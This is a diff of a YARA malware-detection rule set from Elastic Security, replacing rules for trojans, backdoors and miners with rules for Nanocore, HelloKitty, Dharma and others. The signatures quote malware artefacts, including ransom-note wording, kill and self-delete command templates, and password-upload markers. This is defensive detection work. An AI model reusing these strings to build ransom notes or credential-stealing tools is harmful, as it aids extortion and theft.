+		$a = { 55 8B EC 83 EC 08 89 4D F8 8B 4D F8 E8 4F 01 00 00 0F B6 C0 85 C0 75 09 C7 45 FC 01 00 00 00 EB 07 C7 45 FC 00 00 00 00 0F B6 45 FC 8B E5 5D C3 55 8B EC 51 89 4D FC 8B 4D FC E8 21 01 00 00 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Kaiji_Dcf6565E : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Nanocore_D8C4E3C5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Kaiji (Linux.Trojan.Kaiji)"
+		description = "Detects Windows Trojan Nanocore (Windows.Trojan.Nanocore)"
 		author = "Elastic Security"
-		id = "dcf6565e-8287-4d78-b103-53cfab192025"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "d8c4e3c5-8bcc-43d2-9104-fa3774282da5"
+		date = "2021-06-13"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Kaiji.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "49f3086105bdc160248e66334db00ce37cdc9167a98faac98800b2c97515b6e7"
-		logic_hash = "2bc943e100548e9aacd97930b3230353be760c8a292dbbbd1d0b5646f647c4fe"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Nanocore.yar#L1-L29"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b2262126a955e306dc68487333394dc08c4fbd708a19afeb531f58916ddb1cfd"
+		logic_hash = "fcc13e834cd8a1f86b453fe3c0333cd358e129d6838a339a824f1a095d85552d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "381d6b8f6a95800fe0d20039f991ce82317f60aef100487f3786e6c1e63376e1"
+		fingerprint = "e5c284f14c1c650ef8ddd7caf314f5318e46a811addc2af5e70890390c7307d4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 48 69 D2 9B 00 00 00 48 C1 EA 20 83 C2 64 48 8B 9C 24 B8 00 }
+		$a1 = "NanoCore.ClientPluginHost" ascii fullword
+		$a2 = "NanoCore.ClientPlugin" ascii fullword
+		$b1 = "get_BuilderSettings" ascii fullword
+		$b2 = "ClientLoaderForm.resources" ascii fullword
+		$b3 = "PluginCommand" ascii fullword
+		$b4 = "IClientAppHost" ascii fullword
+		$b5 = "GetBlockHash" ascii fullword
+		$b6 = "AddHostEntry" ascii fullword
+		$b7 = "LogClientException" ascii fullword
+		$b8 = "PipeExists" ascii fullword
+		$b9 = "IClientLoggingHost" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*) or 6 of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Kaiji_91091Be3 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Bluez_50E87Fa9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Kaiji (Linux.Trojan.Kaiji)"
+		description = "Detects Linux Trojan Bluez (Linux.Trojan.Bluez)"
 		author = "Elastic Security"
-		id = "91091be3-8c9e-4d7a-8ca6-cd422afe0aa5"
-		date = "2022-09-12"
-		modified = "2022-10-18"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Kaiji.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "dca574d13fcbd7d244d434fcbca68136e0097fefc5f131bec36e329448f9a202"
-		logic_hash = "3b55cb3be5775311af4dc90f9624448d30cc58ef1a42729f6ca4eb3b36ad8b06"
+		id = "50e87fa9-f053-4507-ae10-b5d33b693bb3"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "1e526b6e3be273489afa8f0a3d50be233b97dc07f85815cc2231a87f5a651ef1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Bluez.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "53754c538a7dea6f06e37980901350feddc3517821ea42544cb96e371709752f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f583bbef07f41e74ba9646a3e97ef114eb34b1ae820ed499dffaad90db227ca6"
-		severity = 100
+		fingerprint = "67855d65973d0bbdad90299f1432e7f0b4b8b1e6dfd0737ee5bee89161f2a890"
+		severity = "100"
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 24 18 83 7C 24 1C 02 75 9E 8B 4C 24 64 8B 51 1C 89 54 24 5C }
+		$a = { 63 68 72 00 6B 69 6C 6C 00 73 74 72 6C 65 6E 00 62 69 6E 64 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Backdoor_Fontonlake_Fe916A45 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Hellokitty_8859E8E8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Backdoor Fontonlake (Linux.Backdoor.Fontonlake)"
+		description = "Detects Windows Ransomware Hellokitty (Windows.Ransomware.Hellokitty)"
 		author = "Elastic Security"
-		id = "fe916a45-75cc-40e4-94ad-6ac0f5d815b9"
-		date = "2021-10-12"
-		modified = "2022-01-26"
+		id = "8859e8e8-f94c-4853-b296-1fc801486c57"
+		date = "2021-05-03"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Backdoor_Fontonlake.yar#L1-L29"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8a0a9740cf928b3bd1157a9044c6aced0dfeef3aa25e9ff9c93e113cbc1117ee"
-		logic_hash = "590b28264345ea0bdbd53791f422cb4f1fad143df2b790824fc182356a568d7d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Hellokitty.yar#L1-L32"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3ae7bedf236d4e53a33f3a3e1e80eae2d93e91b1988da2f7fcb8fde5dcc3a0e9"
+		logic_hash = "72cc718724d9d9a391a9f7a0932ebf397c2ab79558437533bef6e380b06baff9"
 		score = 75
-		quality = 48
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "85f16dd4a127737501863ccba006a444d899c6edc6ab03af5dddef2d39edc483"
+		fingerprint = "f9791409d2a058dd68dc09df5e4b597c6c6a1f0da9801d7ab9e678577b621730"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a1 = ".cmd.Upload_Passwd.PasswordInfo" fullword
-		$a2 = "Upload_Passwd" fullword
-		$a3 = "upload_file_beg" fullword
-		$a4 = "upload_file_ing" fullword
-		$a5 = "upload_file_end" fullword
-		$a6 = "modify_file_attr" fullword
-		$a7 = "modify_file_time" fullword
-		$a8 = "import platform;print(platform.linux_distribution()[0]);print(platform.linux_distribution()[1]);print(platform.release())" fullword
-		$a9 = "inject.so" fullword
-		$a10 = "rm -f /tmp/%s" fullword
-		$a11 = "/proc/.dot3" fullword
+		$a1 = "HelloKittyMutex" wide fullword
+		$a2 = "%s\\read_me_lkd.txt" wide fullword
+		$a3 = "Win32_ShadowCopy.ID='%s'" wide fullword
+		$a4 = "Trying to decrypt or modify the files with programs other than our decryptor can lead to permanent loss of data!" wide fullword
+		$a5 = "%s/secret/%S" wide fullword
+		$a6 = "DECRYPT_NOTE.txt" wide fullword
+		$a7 = "Some data has been stored in our servers and ready for publish." wide fullword
+		$a9 = "To contact with us you have ONE week from the encryption time, after decryption keys and your personal contact link will be dele" wide
+		$a10 = "In case of your disregard, we reserve the right to dispose of the dumped data at our discretion including publishing." wide fullword
+		$a11 = "IMPORTANT: Don't modify encrypted files or you can damage them and decryption will be impossible!" wide fullword
+		$b1 = "/f /im \"%s\"" wide fullword
+		$b2 = "stop \"%s\"" wide fullword
+		$b3 = "/f /im %s" wide fullword
+		$b4 = "stop %s" wide fullword
 
 	condition:
-		4 of them
+		(2 of ($a*) and 2 of ($b*)) or (5 of ($a*))
 }
-rule ELASTIC_Windows_Vulndriver_Directio_7Bea6C8F : FILE
+rule ELASTIC_Windows_Ransomware_Hellokitty_4B668121 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Directio (Windows.VulnDriver.DirectIo)"
+		description = "Detects Windows Ransomware Hellokitty (Windows.Ransomware.Hellokitty)"
 		author = "Elastic Security"
-		id = "7bea6c8f-7006-4994-be21-614e3cf1ec76"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "4b668121-cc21-4f0b-b0fc-c2b5b4cb53e8"
+		date = "2021-05-03"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_DirectIo.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1dadd707c55413a16320dc70d2ca7784b94c6658331a753b3424ae696c5d93ea"
-		logic_hash = "bc87ede24c688565258859287141ddffb3bcfb0cc6d4fcbc08827c48bb897580"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Hellokitty.yar#L34-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9a7daafc56300bd94ceef23eac56a0735b63ec6b9a7a409fb5a9b63efe1aa0b0"
+		logic_hash = "00c7a492c304f12b9909e35cf069618a1103311a69e3e8951ca196c3c663b12a"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "6ad4cca6b8345825ef706d2e933508caf047a7d15a7f5b2f8d3d8a6f7c24b93d"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "834316ce0f3225b1654b3c4bccb673c9ad815e422276f61e929d5440ca51a9fa"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$str1 = "\\DirectIo.pdb"
+		$a1 = "(%d) [%d] %s: STOP DOUBLE PROCESS RUN" ascii fullword
+		$a2 = "(%d) [%d] %s: Looking for folder from cmd: %S" ascii fullword
+		$a3 = "(%d) [%d] %s: ERROR: Failed to encrypt AES block" ascii fullword
+		$a4 = "gHelloKittyMutex" wide fullword
+		$a5 = "/C ping 127.0.0.1 & del %s" wide fullword
+		$a6 = "Trying to decrypt or modify the files with programs other than our decryptor can lead to permanent loss of data!"
+		$a7 = "read_me_lkdtt.txt" wide fullword
+		$a8 = "If you want to get it, you must pay us some money and we will help you." wide fullword
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		5 of them
 }
-rule ELASTIC_Windows_Vulndriver_Directio_Abe8Bfa6 : FILE
+rule ELASTIC_Windows_Ransomware_Hellokitty_D9391A1A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Directio (Windows.VulnDriver.DirectIo)"
+		description = "Detects Windows Ransomware Hellokitty (Windows.Ransomware.Hellokitty)"
 		author = "Elastic Security"
-		id = "abe8bfa6-0b51-4224-a7fc-4249e34ac0a2"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "d9391a1a-78d3-4ae6-8e45-630ceec8bade"
+		date = "2021-05-03"
+		modified = "2023-01-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_DirectIo.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d84e3e250a86227c64a96f6d5ac2b447674ba93d399160850acb2339da43eae5"
-		logic_hash = "8548e64e091c0e9e53316662d3dd91eca605c260f391d752ad40253f225571ed"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Hellokitty.yar#L61-L80"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "10887d13dba1f83ef34e047455a04416d25a83079a7f3798ce3483e0526e3768"
+		logic_hash = "074ca47c0526d9828f3c07c7d6dbdd1cec609670d70340b022ae2c712ad80305"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "f572092a61c4b7f107c397deb6eb9e04d56a0c74ba0a17cc218e33d17e909f18"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "8779a926a237af0a966534931b60acd54f5d6d65063c070a3621ec604e280ff8"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$str1 = "\\DirectIo64.pdb"
+		$a1 = { 83 C4 04 85 DB 75 12 0F 10 45 D4 83 C7 10 0F 11 06 83 C6 10 83 }
+		$a2 = { 89 45 F8 3B 5D F4 75 25 3B C6 75 21 6A FF FF 75 14 8B D1 83 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		any of them
 }
-rule ELASTIC_Multi_Trojan_Sparkrat_9A21E541 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Dharma_Aa5Eefed : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Multi Trojan Sparkrat (Multi.Trojan.SparkRat)"
+		description = "Identifies DHARMA ransomware"
 		author = "Elastic Security"
-		id = "9a21e541-886c-4d7f-8602-832862121730"
-		date = "2023-11-13"
-		modified = "2024-06-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Trojan_SparkRat.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "23efecc03506a9428175546a4b7d40c8a943c252110e83dec132c6a5db8c4dd6"
-		logic_hash = "903c5c65436bea8dd044fd5f1f6dda3d1e90ab25802d508f67ba0f7fd06e92d4"
+		id = "aa5eefed-7212-42c9-b51d-2c58c65b53e5"
+		date = "2020-06-25"
+		modified = "2021-08-23"
+		reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Dharma.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "bbafc2eac17562f315b09fa42eb601d0140152917d7962429df3a378abe67732"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "2691da3a037b651d0f7f6d7be767c34845c3b9a642f4a2fb1c54f391f08089b6"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "d3baf3474b450931b594322d190b243bdd813156ad80f04abcadde0db3bfe149"
+		threat_name = "Windows.Ransomware.Dharma"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "multi"
+		os = "windows"
 
 	strings:
-		$a1 = "Spark/client/service/file" ascii wide
-		$a2 = "Spark/client/service/desktop" ascii wide
-		$a3 = "Spark/utils.Encrypt" ascii wide
+		$c1 = { 4D F0 51 8B 55 E8 52 E8 CD 10 00 00 83 C4 08 89 45 E8 8A 45 F9 04 01 88 45 F9 0F B6 4D F9 8B 55 E4 8A 04 0A 88 45 FB 0F B6 4D FB 0F B6 55 FA 03 D1 88 55 FA 0F B6 45 FA 8B 4D E4 8A 14 01 88 55 EF 0F B6 45 F9 8B 4D E4 8A 55 EF 88 14 01 0F B6 45 FA 8B 4D E4 8A 55 FB 88 14 01 8B 45 0C 03 45 F4 0F B6 08 0F B6 55 FB 0F B6 45 EF 03 D0 0F B6 D2 8B 45 E4 0F B6 14 10 33 CA 8B 45 E8 03 45 F4 88 08 }
+		$c2 = { 21 0C 7D 01 02 04 08 10 20 40 80 1B 36 6C D8 AB 4D 9A 2F 5E BC 63 C6 97 35 6A D4 B3 7D FA EF C5 91 00 00 A5 63 63 C6 84 7C 7C F8 99 77 77 EE 8D 7B 7B F6 0D F2 F2 FF BD 6B 6B D6 B1 6F 6F DE 54 C5 C5 91 50 30 30 60 03 01 01 02 A9 67 67 CE 7D 2B 2B 56 }
 
 	condition:
-		all of them
+		1 of ($c*)
 }
-rule ELASTIC_Linux_Cryptominer_Xpaj_Fdbd614E : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Dharma_B31Cac3F : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Xpaj (Linux.Cryptominer.Xpaj)"
+		description = "Identifies DHARMA ransomware"
 		author = "Elastic Security"
-		id = "fdbd614e-e628-43ff-86d4-1057f9d544ac"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Xpaj.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3e2b1b36981713217301dd02db33fb01458b3ff47f28dfdc795d8d1d332f13ea"
-		logic_hash = "70e6450f98411750361481aaad0d3ea079f58b1ae09970f04da09c20137a50fa"
+		id = "b31cac3f-6e04-48b2-9d16-1a6b66fa8012"
+		date = "2020-06-25"
+		modified = "2021-08-23"
+		reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Dharma.yar#L23-L44"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "30500e35721e9db3d63cafa5ca10818557fa9f4e0bda9c0d02283183508cf7b5"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "456b69d4035aa2d682ba081c2f7b24c696f655ec164645f83c9aef5bd262f510"
+		quality = 75
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "25d23d045c57758dbb14092cff3cc190755ceb3a21c8a80505bd316a430e21fc"
+		threat_name = "Windows.Ransomware.Dharma"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 72 72 6F 72 3A 20 47 65 74 25 73 20 74 65 6D 70 20 72 65 74 75 }
+		$b1 = "sssssbsss" ascii fullword
+		$b2 = "sssssbs" ascii fullword
+		$b3 = "RSDS%~m" ascii fullword
 
 	condition:
-		all of them
+		3 of ($b*)
 }
-rule ELASTIC_Windows_Trojan_Phoreal_66E91De3 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Dharma_E9319E4A : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Phoreal (Windows.Trojan.Phoreal)"
+		description = "Identifies DHARMA ransomware"
 		author = "Elastic Security"
-		id = "66e91de3-a510-4a64-b03d-5385ceb32360"
-		date = "2022-02-16"
-		modified = "2022-04-12"
-		reference = "https://www.elastic.co/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Phoreal.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "88f073552b30462a00d1d612b1638b0508e4ef02c15cf46203998091f0aef4de"
-		logic_hash = "c68131fd5e0272d3d473db387a186056a38e6611925ae448d5b668022e6e163a"
+		id = "e9319e4a-3850-4bad-9579-4b73199a0963"
+		date = "2020-06-25"
+		modified = "2021-08-23"
+		reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Dharma.yar#L46-L65"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "182ed508d645a0b1fab80fb6f975a05d33b64c43005bd3656df6470934cd71f4"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "36c9150137b3d65ea6127abe54571f7346c5ebffd1966bf0a9ff99406fe5aa24"
+		quality = 75
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "4a4f3aebe4c9726cf62dde454f01cbf6dcb09bf3ef1b230d548fe255f01254aa"
+		threat_name = "Windows.Ransomware.Dharma"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -85420,681 +89244,701 @@ rule ELASTIC_Windows_Trojan_Phoreal_66E91De3 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 7B 00 41 00 30 00 36 00 46 00 31 00 37 00 36 00 46 00 2D 00 37 00 39 00 46 00 31 00 2D 00 34 00 37 00 33 00 45 00 2D 00 41 00 46 00 34 00 34 00 2D 00 39 00 37 00 36 00 33 00 45 00 33 00 43 00 42 00 33 00 34 00 45 00 35 00 7D 00 }
-		$a2 = { 4C 00 6F 00 63 00 61 00 6C 00 5C 00 7B 00 35 00 46 00 42 00 43 00 33 00 46 00 35 00 33 00 2D 00 41 00 37 00 36 00 44 00 2D 00 34 00 32 00 34 00 38 00 2D 00 39 00 36 00 39 00 41 00 2D 00 33 00 31 00 37 00 34 00 30 00 43 00 42 00 43 00 38 00 41 00 44 00 36 00 7D 00 }
-		$a3 = { 7B 46 44 35 46 38 34 34 37 2D 36 35 37 41 2D 34 35 43 31 2D 38 39 34 42 2D 44 35 33 33 39 32 36 43 39 42 36 36 7D 2E 64 6C 6C }
-		$b1 = { 8B FF 55 8B EC 56 E8 3F 3E 00 00 E8 34 3E 00 00 50 E8 14 3E 00 00 85 C0 75 2A 8B 75 08 56 E8 21 }
+		$d = { 08 8B 51 24 8B 45 08 8B 48 18 0F B7 14 51 85 D2 74 47 8B 45 08 8B }
 
 	condition:
-		2 of them
+		1 of ($d*)
 }
-rule ELASTIC_Linux_Cryptominer_Minertr_9901E275 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Dharma_942142E3 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Minertr (Linux.Cryptominer.Minertr)"
+		description = "Identifies DHARMA ransomware"
 		author = "Elastic Security"
-		id = "9901e275-3053-47ea-8c36-6c9271923b64"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Minertr.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f77246a93782fd8ee40f12659f41fccc5012a429a8600f332c67a7c2669e4e8f"
-		logic_hash = "a18e0763fe9aec6d89b39cefb872b1751727e2d88ec4733b9c8b443b83219763"
+		id = "942142e3-9197-41c4-86cc-66121c8a9ab5"
+		date = "2020-06-25"
+		modified = "2021-08-23"
+		reference = "https://blog.malwarebytes.com/threat-analysis/2019/05/threat-spotlight-crysis-aka-dharma-ransomware-causing-a-crisis-for-businesses/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Dharma.yar#L67-L86"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "af5068ef3442964e4d1c5e27090fb84eaf762ff23463b7a0c2902e523ae601c1"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "f27e404d545f3876963fd6174c4235a4fe4f69d53fe30a2d29df9dad6d97b7f7"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "e8ee60d53f92dd1ade8cc956c13a5de38f9be9050131ba727f2fab41dde619a8"
+		threat_name = "Windows.Ransomware.Dharma"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 41 56 41 55 41 54 55 53 48 83 EC 78 48 89 3C 24 89 F3 89 74 }
+		$a1 = "C:\\crysis\\Release\\PDB\\payload.pdb" ascii fullword
 
 	condition:
-		all of them
+		1 of ($a*)
 }
-rule ELASTIC_Macos_Cryptominer_Xmrig_241780A1 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Raspberryrobin_4B4D6899 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Cryptominer Xmrig (MacOS.Cryptominer.Xmrig)"
+		description = "Detects Windows Trojan Raspberryrobin (Windows.Trojan.RaspberryRobin)"
 		author = "Elastic Security"
-		id = "241780a1-ad50-4ded-b85a-26339ae5a632"
-		date = "2021-09-30"
-		modified = "2021-10-25"
+		id = "4b4d6899-bcde-4c40-90c9-bbb621aa1ebf"
+		date = "2023-12-13"
+		modified = "2024-01-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Cryptominer_Xmrig.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f"
-		logic_hash = "9e091f6881a96abdc6592db385eb9026806befdda6bda4489470b4e16e1d4d87"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_RaspberryRobin.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2f0451f38adb74cb96c857de455887b00c5038b68210294c7f52b0b5ff64cc1e"
+		logic_hash = "bbafad9509b367e811e86cb8f2f64d9c1d59f82b5cd58a7af43325bb7fa9d9c3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8"
+		fingerprint = "f74bd83ba1ede9b1dce070967aedc7f8df923c7393c69fcf7c4cfcf7988e0f24"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$a1 = "mining.set_target" ascii fullword
-		$a2 = "XMRIG_HOSTNAME" ascii fullword
-		$a3 = "Usage: xmrig [OPTIONS]" ascii fullword
-		$a4 = "XMRIG_VERSION" ascii fullword
+		$a = { 55 89 E5 83 EC 0C 8B 45 08 3D 01 00 10 00 89 45 FC 89 4D F8 73 0F 8B 45 FC 89 45 F4 8B 4D F4 64 8B 11 89 55 F8 8B 45 F8 83 C4 0C 5D C3 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Dbatloader_F93A8E90 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Metasploit_69E20012 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Dbatloader (Windows.Trojan.DBatLoader)"
+		description = "Detects Linux Trojan Metasploit (Linux.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "f93a8e90-10ac-44de-ac3b-c0e976628e98"
-		date = "2022-03-11"
-		modified = "2022-04-12"
